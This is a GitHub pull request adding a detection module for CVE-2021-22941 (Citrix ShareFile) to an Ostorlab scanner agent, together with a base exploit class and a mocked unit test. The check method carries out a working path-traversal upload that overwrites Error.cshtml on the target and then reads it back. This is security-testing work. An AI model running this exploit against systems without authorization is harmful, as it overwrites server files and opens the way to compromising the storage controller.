Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller #1

Merged
merged 24 commits into from
Nov 20, 2023
Merged
54 changes: 54 additions & 0 deletions agent/definitions.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
"""Agent Asteriod definitions"""
import abc
import dataclasses

from ostorlab.agent.kb import kb
from ostorlab.agent.mixins import agent_report_vulnerability_mixin as vuln_mixin


@dataclasses.dataclass
class Vulnerability:
"""Vulnerability entry with technical details, custom risk rating, DNA for unique identification and location."""

entry: kb.Entry
technical_detail: str
risk_rating: vuln_mixin.RiskRating
dna: str | None = None
vulnerability_location: vuln_mixin.VulnerabilityLocation | None = None


@dataclasses.dataclass
class Target:
"""Target asset"""

scheme: str
host: str
port: int


class Exploit(abc.ABC):
"""Base Exploit"""

@abc.abstractmethod
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
def accept(self, target: Target) -> bool:
"""Rule to heuristically detect if specific target is valid.

Args:
target: Target to verify

Returns:
List of identified vulnerabilities.
"""
pass

@abc.abstractmethod
def check(self, target: Target) -> list[Vulnerability]:
"""Rule to detect specific vulnerability on a specific target.

Args:
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
target: target to scan

Returns:
List of identified vulnerabilities.
"""
pass
Empty file added agent/exploits/__init__.py
Empty file.
112 changes: 112 additions & 0 deletions agent/exploits/cve_2021_22941.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,112 @@
"""Agent Asteroid implementation for CVE-2021-22941"""

import requests
from ostorlab.agent.kb import kb
from ostorlab.agent.mixins import agent_report_vulnerability_mixin
from requests import exceptions as requests_exceptions

from agent import definitions

VULNERABILITY_TITLE = (
"Improper Access Control in Citrix ShareFile storage zones controller"
)
VULNERABILITY_REFERENCE = "CVE-2021-22941"
VULNERABILITY_DESCRIPTION = (
"Improper Access Control in Citrix ShareFile storage zones controller before 5.11.20 may "
"allow an unauthenticated attacker to remotely compromise the storage zones controller."
)

DEFAULT_TIMEOUT = 90


def _encode_multipart_formdata(files: dict[str, str]) -> tuple[str, str]:
boundary = "boundary"
body = "".join(
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="{files["name"]}"; filename="{files["filename"]}"\r\n'
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
"\r\n"
f"{files['content_file']}\r\n" + f"--{boundary}--\r\n"
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
)
content_type = f"multipart/form-data; boundary={boundary}"
return body, content_type


class CVE2022294Exploit(definitions.Exploit):
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
"""
CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller
"""

def accept(self, target: definitions.Target) -> bool:
target_uri = f"{target.scheme}://{target.host}"
try:
req = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
return "ShareFile" in req.text

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
target_uri = f"{target.scheme}://{target.host}"
content_file = "A" * 4096
files = {"name": "text4", "filename": "text5", "content_file": content_file}
data, content_type = _encode_multipart_formdata(files)
headers = {"Content-Type": content_type}
payload = "__VULNERABLE__"
params = {
"uploadid": payload + r"/../../ConfigService\Views\Shared\Error.cshtml",
"bp": "123",
"accountid": "123",
}
try:
requests.post(
target_uri + "/upload.aspx",
data=data,
params=params,
headers=headers,
verify=False,
timeout=DEFAULT_TIMEOUT,
)
req = requests.get(
target_uri + "/configservice/Home/Error",
verify=False,
timeout=DEFAULT_TIMEOUT,
)
except requests_exceptions.RequestException:
return []
if payload not in req.text:
return []

vulnerability = self._generate_vulnerability_object(target_uri)
return [vulnerability]

def _generate_vulnerability_object(
self, target_uri: str
) -> definitions.Vulnerability:
entry = kb.Entry(
title=VULNERABILITY_TITLE,
risk_rating="HIGH",
short_description=VULNERABILITY_DESCRIPTION,
description=VULNERABILITY_DESCRIPTION,
references={
"nvd.nist.gov": f"https://nvd.nist.gov/vuln/detail/{VULNERABILITY_REFERENCE}"
},
recommendation=(
"- Make sure to install the latest security patches from software vendor \n"
"- Update to the latest software version"
),
security_issue=True,
privacy_issue=False,
has_public_exploit=False,
targeted_by_malware=False,
targeted_by_ransomware=False,
targeted_by_nation_state=False,
)
technical_detail = (
f"{target_uri} is vulnerable to {VULNERABILITY_REFERENCE}, "
f"{VULNERABILITY_TITLE}"
)
vulnerability = definitions.Vulnerability(
entry=entry,
technical_detail=technical_detail,
risk_rating=agent_report_vulnerability_mixin.RiskRating.HIGH,
)
return vulnerability
1 change: 1 addition & 0 deletions requirement.txt
Original file line number Diff line number Diff line change
@@ -1,2 +1,3 @@
ostorlab[agent]
rich
requests
41 changes: 41 additions & 0 deletions tests/exploits_test.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
"""Unit tests for Agent Asteriod exploits"""
import re

import requests_mock as req_mock

from agent.exploits import cve_2021_22941
from agent import definitions


def testCVE_2021_22941_whenVulnerable_reportFinding(
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""Unit test for CVE-2021-22941, case when target is vulnerable"""
target = definitions.Target(scheme="https", host="75.162.65.52", port=443)
exploit_instance = cve_2021_22941.CVE2022294Exploit()
requests_mock.post(re.compile("https://75.162.65.52"))
requests_mock.get(
re.compile("https://75.162.65.52"),
content=b'<!DOCTYPE html><html><head><meta charset="utf-8" />'
b'<meta name="viewport" content="width=device-width" />'
b"<title></title>"
b'<link href="/configservice/Content/css?v=WMr-pvK-ldSbNXHT-cT0d9QF2pqi7sqz_4MtKl04wlw1" rel="stylesheet"/>'
b'<script src="/configservice/bundles/modernizr?v="></script></head>'
b"<body>__VULNERABLE__/../../ConfigService\\Views\\Shared\\Error.cshtml,"
b"4190,4190,1,638351359841918992,638351359844106518"
b'<script src="/configservice/bundles/jquery?v=Btq6NiodC7qP1zsuC2xUYWo89HSxJy2RWUt0n_7RLeM1"></script>'
b"</body></html>",
)

vulnerabilities = exploit_instance.check(target)
vulnerability = vulnerabilities[0]

assert (
vulnerability.entry.title
== "Improper Access Control in Citrix ShareFile storage zones controller"
)
assert (
vulnerability.technical_detail
== "https://75.162.65.52 is vulnerable to CVE-2021-22941, Improper Access Control "
"in Citrix ShareFile storage zones controller"
)
6 changes: 0 additions & 6 deletions tests/template_agent_test.py

This file was deleted.

2 changes: 2 additions & 0 deletions tests/test-requirement.txt
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,5 @@ pytest
black
mypy
typing-extensions
requests_mock
types-requests
BlueSquare1 marked this conversation as resolved.
Show resolved Hide resolved
Loading